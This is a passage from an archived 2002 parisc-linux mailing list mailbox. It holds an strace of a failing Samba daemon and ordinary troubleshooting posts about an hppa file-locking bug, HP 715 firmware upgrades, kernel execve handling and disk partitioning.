1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  _llseek(0x4, 0, 0x111e, 0xfaf00a88, 0) = 0
1055  munmap(0x40019000, 4096)          = 0
1055  umask(0)                          = 022
1055  umask(022)                        = 0
1055  open("/var/log/samba/log.smbd", 
O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 5
1055  fstat64(5, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  fstat64(5, {st_mode=0, st_size=0, ...}) = 0
1055  _llseek(0x5, 0, 0x111e, 0xfaf00f08, 0) = 0
1055  munmap(0x40019000, 4096)          = 0
1055  close(4)                          = 0
1055  umask(0)                          = 022
1055  stat64("/etc/samba/smb.conf", {st_mode=0, st_size=0, ...}) = 0
1055  open("/etc/samba/smb.conf", O_RDONLY|O_LARGEFILE) = 4
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  brk(0x1ec000)                     = 0x1ec000
1055  read(4, "# This is the main Samba configu"..., 8882) = 8882
1055  close(4)                          = 0
1055  getpid()                          = 1055
1055  brk(0x1ed000)                     = 0x1ed000
1055  open("/etc/printcap", O_RDONLY|O_LARGEFILE) = 4
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  read(4, "# /etc/printcap: printer capabil"..., 4096) = 643
1055  read(4, "", 4096)                 = 0
1055  close(4)                          = 0
1055  munmap(0x40019000, 4096)          = 0
1055  stat64("", 0xfaf00c90)            = -1 ENOENT (No such file or directory)
1055  umask(022)                        = 0
1055  open("/var/log/samba/log.smbd", 
O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 4
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  _llseek(0x4, 0, 0x111e, 0xfaf01388, 0) = 0
1055  munmap(0x40019000, 4096)          = 0
1055  close(5)                          = 0
1055  umask(0)                          = 022
1055  stat64("/etc/samba/smb.conf", {st_mode=0, st_size=0, ...}) = 0
1055  umask(022)                        = 0
1055  open("/var/log/samba/log.smbd", 
O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 5
1055  fstat64(5, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  fstat64(5, {st_mode=0, st_size=0, ...}) = 0
1055  _llseek(0x5, 0, 0x111e, 0xfaf00f08, 0) = 0
1055  munmap(0x40019000, 4096)          = 0
1055  close(4)                          = 0
1055  umask(0)                          = 022
1055  socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
1055  ioctl(4, 0x8912, 0xfaf015d0)      = 0
1055  ioctl(4, 0x8915, 0xfaf01600)      = 0
1055  ioctl(4, 0x8913, 0xfaf01600)      = 0
1055  ioctl(4, 0x891b, 0xfaf01600)      = 0
1055  ioctl(4, 0x8915, 0xfaf015e0)      = 0
1055  ioctl(4, 0x8913, 0xfaf015e0)      = 0
1055  ioctl(4, 0x891b, 0xfaf015e0)      = 0
1055  close(4)                          = 0
1055  brk(0x1ef000)                     = 0x1ef000
1055  newuname({sys="Linux", node="HP-D370", ...}) = 0
1055  getrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=1024}) = 0
1055  setrlimit(RLIMIT_NOFILE, {rlim_cur=1024, rlim_max=10010}) = 0
1055  setrlimit(RLIMIT_NOFILE, {rlim_cur=10010, rlim_max=10010}) = 0
1055  getrlimit(RLIMIT_NOFILE, {rlim_cur=10010, rlim_max=10010}) = 0
1055  open("/etc/samba/secrets.tdb", O_RDWR|O_CREAT|O_LARGEFILE, 0600) = 4
1055  fcntl(4, F_SETLKW, {type=F_WRLCK, whence=SEEK_SET, start=1024, 
len=0}) = 0
1055  fcntl(4, F_SETLK, {type=F_WRLCK, whence=SEEK_SET, start=1024, len=0}) = 0
1055  read(4, "TDB file\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 
168) = 168
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
1055  mmap2(NULL, 696, PROT_READ|PROT_WRITE, MAP_SHARED, 4, 0) = 0x40019000
1055  _llseek(0x4, 0, 0x28, 0xfaf00b48, 0) = 0
1055  write(4, "\0\0\0\0", 4)           = 4
1055  fcntl(4, F_SETLK, {type=F_UNLCK, whence=SEEK_SET, start=-84932400, 
len=0}) = -1 EINVAL (Invalid argument)
1055  munmap(0x40019000, 696)           = 0
1055  close(4)                          = 0
1055  time(NULL)                        = 1009908466
1055  brk(0x1f2000)                     = 0x1f2000
1055  time([1009908466])                = 1009908466
1055  getpid()                          = 1055
1055  rt_sigaction(SIGPIPE, {0x401fc39a, [], 0}, {SIG_DFL}, 8) = 0
1055  socket(PF_UNIX, SOCK_DGRAM, 0)    = 4
1055  fcntl(4, F_SETFD, FD_CLOEXEC)     = 0
1055  connect(4, {sin_family=AF_UNIX, path="/dev/log"}, 16) = 0
1055  send(4, "<27>Jan  1 13:07:46 smbd[1055]: "..., 91, 0) = 91
1055  rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0
1055  geteuid()                         = 0
1055  fstat64(5, {st_mode=0, st_size=0, ...}) = 0
1055  write(5, "[2002/01/01 13:07:46, 0] passdb/"..., 59) = 59
1055  time([1009908466])                = 1009908466
1055  getpid()                          = 1055
1055  rt_sigaction(SIGPIPE, {0x401fc39a, [], 0}, {SIG_DFL}, 8) = 0
1055  send(4, "<27>Jan  1 13:07:46 smbd[1055]: "..., 72, 0) = 72
1055  rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0
1055  geteuid()                         = 0
1055  write(5, "  Failed to open /etc/samba/secr"..., 40) = 40
1055  stat64("/usr/share/samba/codepages/codepage.850", {st_mode=0, 
st_size=0, ...}) = 0
1055  open("/usr/share/samba/codepages/codepage.850", O_RDONLY|O_LARGEFILE) = 6
1055  read(6, "\1\0R\3|\0\0\0", 8)      = 8
1055  read(6, 
"\205\267\1\1\240\265\1\1\203\266\1\1\306\307\1\1\204\216"..., 124) = 124
1055  close(6)                          = 0
1055  stat64("/usr/share/samba/codepages/unicode_map.850", {st_mode=0, 
st_size=0, ...}) = 0
1055  open("/usr/share/samba/codepages/unicode_map.850", 
O_RDONLY|O_LARGEFILE) = 6
1055  fstat64(6, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  read(6, "\1\200850\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0"..., 
4096) = 4096
1055  mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 
-1, 0) = 0x40241000
1055  read(6, "\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_"..., 
126976) = 126976
1055  read(6, "\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_\0_"..., 4096) 
= 542
1055  close(6)                          = 0
1055  munmap(0x40019000, 4096)          = 0
1055  rt_sigaction(SIGHUP, {0x19649e, [], SA_RESTART}, NULL, 8) = 0
1055  fork()                            = 1056
1055  --- SIGCHLD (Child exited) ---
1055  exit(0)                           = ?




From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Ferguson <ferguson@quango.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrading 715/100 Firmware
Date: Thu, 03 Jan 2002 01:12:26 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
Reply-To: ferguson@quango.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620915 301 80.91.229.3 (22 Nov 2014 01:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 02:13:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.quango.net (unknown [63.102.227.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 173EC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 02:13:11 -0700 (MST)
Original-Received: from shiftright.mail.quango.net [24.55.42.220] by quango.net [63.102.227.120]
	with SMTP (MDaemon.v3.5.1.R)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 03 Jan 2002 01:06:02 -0800
X-Sender: ferguson@mail.quango.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-MDRemoteIP: 24.55.42.220
X-Return-Path: ferguson@quango.net
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13568

I know this has been asked a zillion times but bear with me.  I'm pretty 
new to Linux, but familar with many other operating systems.

I've got debian 0.9.3 installed on a 715/100.  Seems to work pretty well.

My question relates to getting the firmware to a "scratch disk"  which 
Grant speaks of in the archives (in my case sda1 set to type F0).  sdb1, 
sdb2, sdb3, sdb4 are the disks where the Linux install resides.

Is type F0 the correct type to load firmware from?  Is there any parameters 
other than:
dd if=c7x50016.frm of=/dev/sda1   ?   Do I need a block size parameter? eg 
bs=2k like it says with tape?    Does sda1 need to be mounted first before 
using dd ?  How does one mount an F0 disk?   What does F0 mean?  Is it HP 
format?

I've tried booting from bootp, cdrom, tape, and now scratch disk and I 
can't get the LIF image to work.





From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with Samba on a D370
Date: Thu, 3 Jan 2002 09:32:30 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20020103093230.GA1241@sleepie.demon.co.uk>
References: <5.1.0.14.0.20020102201841.0302dec0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620915 306 80.91.229.3 (22 Nov 2014 01:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 02:41:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4FD1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 02:41:39 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id E9AA59E7E5; Thu,  3 Jan 2002 09:32:30 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <5.1.0.14.0.20020102201841.0302dec0@mail.magma.ca>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13569

On Wed, Jan 02, 2002 at 08:33:54PM -0500, Herb Radford wrote:
> OK, I'm trying to set up Samba on this D370 and have a small problem.
> SMBD daemon starts but fails with "failed to open /etc/samba/secrets.tdb".
> So I tried "strace -f smbd -D" and thats where I run out of knowledge!
> I'm including the strace output but to me it looks like something I read on 
> the Samba mailing list archives while poking about for an answer. It seems 
> that there was some problem with 64-bit vs. 32-bit parameters at one time 
> (I think in 2.2-2 which is what my version is) and I hope someone can give 
> me a few pointers. ;) I don't know if this is  a Samba problem or a Debian 
> problem so I'll just ask!
> 
> Do a search on secrets and the line in question is 8 lines later where 
> fcntl returns EINVAL for a start of -84932400??? which is 0xfaf008d0, 
> uncommonly similar to part of the LLSEEK parameter 2 line above.

"samba busted see #126763, hppa glibc problem with file locking"

Check that bug # on bugs.debian.org for more details.  There is a patch
to samba to avoid the glibc problem there, I think, but I havn't tried
it.

Richard




From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with Samba on a D370
Date: Thu, 3 Jan 2002 13:38:22 +0100 (CET)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0201031237480.8858-100000@r6.petescaff.com>
References: <20020103093230.GA1241@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620915 307 80.91.229.3 (22 Nov 2014 01:48:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 05:38:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FF7F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 05:38:27 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16M78Y-0007kQ-00; Thu, 03 Jan 2002 13:38:22 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16M78Y-0002MK-00; Thu, 03 Jan 2002 13:38:22 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <20020103093230.GA1241@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13570

Herb

This is fixed in the latest Debian version of samba available in the
unstable/sid distribution.  The new version number of the samba packages
is: 2.2.2-4

This package doesn't yet appear to be built for hppa, but if you add an
appropriate deb-src line for sid in your sources.list file then you can
download and build the new samba packages using:

apt-get source samba --build

& then install the packages using 'dpkg -i'

Hope I'm not teaching grandma to suck eggs here.

Regards
PeteM

On Thu, 3 Jan 2002, Richard Hirst wrote:

> On Wed, Jan 02, 2002 at 08:33:54PM -0500, Herb Radford wrote:
[snip]
>
> "samba busted see #126763, hppa glibc problem with file locking"
>
> Check that bug # on bugs.debian.org for more details.  There is a patch
> to samba to avoid the glibc problem there, I think, but I havn't tried
> it.
>
> Richard





From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Thu, 3 Jan 2002 13:46:52 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20020103134652.GB1807@sleepie.demon.co.uk>
References: <20020101233834.GA2872@sleepie.demon.co.uk> <Pine.LNX.4.43.0201021748410.2611-100000@szr.petescaff.com> <878zbg64rf.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620916 314 80.91.229.3 (22 Nov 2014 01:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 06:55:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90D57482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 06:55:57 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 124EC9E7E6; Thu,  3 Jan 2002 13:46:52 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <878zbg64rf.fsf@rover.gag.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13571

On Wed, Jan 02, 2002 at 10:29:08AM -0700, Bdale Garbee wrote:
> peter@petescaff.com (Peter Mottram) writes:
> 
> > The 2.4.9 Debian kernal package had hotplug disabled but the 2.4.16
> > package has it enabled. After a quick apt-get install of hotplug I have a
> > happy system again. I have filed a bug report to Debian on the kernel
> > package requesting a dependency on hotplug. This is obviously not the real
> > fix that is needed, but it would at least prevent this kind of problem for
> > anyone else.
> 
> Nah, that's the wrong answer.  The kernel shouldn't crater if hotplug isn't
> present.

IIRC this is tied up with the __execve code in arch/parisc/kernel/entry.S:

        bl      sys_execve, %r2
        copy    %r16, %r26

        cmpib,=,n 0,%r28,intr_return    /* forward */

>>>>>>  /* yes, this will trap and die. */
        copy    %r15, %r2
        bv      %r0(%r2)
        nop

which does not handle sys_execve failing when invoked from the kernel.
We had the same problem when /sbin/modprobe didn't exist.

Richard




From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DISREGARD 0.9.3 installer didn't set 712 bootable
Date: Thu, 3 Jan 2002 15:28:28 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20020103152828.C23472@parcelfarce.linux.theplanet.co.uk>
References: <m3y9jhfmrn.fsf@localhost.localdomain> <m3u1u5fkmw.fsf@localhost.localdomain> <20020101203848.1634246f.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620916 318 80.91.229.3 (22 Nov 2014 01:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:36 +0000 (UTC)
Cc: Nick Papadonis <npapadon@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 08:28:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7A6F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 08:28:30 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16M9nA-0006bl-00; Thu, 03 Jan 2002 15:28:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020101203848.1634246f.csuder@cisco.com>; from csuder@cisco.com on Tue, Jan 01, 2002 at 08:38:48PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13572

On Tue, Jan 01, 2002 at 08:38:48PM -0800, Christian Suder wrote:
> The standard fdisk utility in Linux is pretty PC-ish, so you can only have
> 4 primary partitions. However you can create one of them as "extended"
> partition, and within this partition you can create additional ones,

this was a deliberate decision on our part to use the PC partition format
by default.  i don't think it's one to be ashamed of.  hpux's partitioning
scheme wasn't appropriate, and there are more tools which understand pc
partitioning than understand, say, sgi disklabels.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Upgrading 715/100 Firmware
Date: Thu, 3 Jan 2002 06:49:30 -0900 (AKST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201030645070.16499-100000@goliath.alaskatech.org>
References: <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620916 319 80.91.229.3 (22 Nov 2014 01:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:36 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>,
	<debian-hppa@lists.debian.org>
To: Bill Ferguson <ferguson@quango.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan  3 08:52:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1255482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Jan 2002 08:52:57 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GPDDG902.IAB for
          <parisc-linux@lists.parisc-linux.org>; Thu, 3 Jan 2002 06:52:57 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GPDDG902.H0H; Thu, 3 Jan 2002 06:52:57 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id GAA17805;
	Thu, 3 Jan 2002 06:49:30 -0900
In-Reply-To: <5.1.0.14.2.20020103010257.02f9c440@mail.quango.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13573

On Thu, 3 Jan 2002, Bill Ferguson wrote:
> I know this has been asked a zillion times but bear with me.  I'm pretty
> new to Linux, but familar with many other operating systems.
>
> I've got debian 0.9.3 installed on a 715/100.  Seems to work pretty well.
>
> My question relates to getting the firmware to a "scratch disk"  which
> Grant speaks of in the archives (in my case sda1 set to type F0).  sdb1,
> sdb2, sdb3, sdb4 are the disks where the Linux install resides.
>
> Is type F0 the correct type to load firmware from?  Is there any parameters
> other than:
> dd if=c7x50016.frm of=/dev/sda1   ?   Do I need a block size parameter? eg
> bs=2k like it says with tape?    Does sda1 need to be mounted first before
> using dd ?  How does one mount an F0 disk?   What does F0 mean?  Is it HP
> format?
>
> I've tried booting from bootp, cdrom, tape, and now scratch disk and I
> can't get the LIF image to work.

I *finally* managed to upgrade mine. I used three Seagate DDS2 DAT drives
to write the tape, none of which would be read by the drive in the HP (one
of the Seagates). Each of them barfed "bad IPL checksum"... I finally
borrowed a spare HP SureStore 6000 DDS2 DAT drive from work; it wouldn't
read either tape used by the other drives, but when I used the HP drive to
burn the tape it booted and updated fine. I also told it not to interact
with IPL, and disabled compression on the drive (mt -f /dev/st0
datcompression 0).

I used 'dd if=CC2X0061.frm of=/dev/st0 bs=2k' as my command line, your
patch file will surely be different :-)




From - Thu Nov 08 21:21:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Upgrading 715/100 Firmware
Date: Thu, 03 Jan 2002 10:45:45 -0700
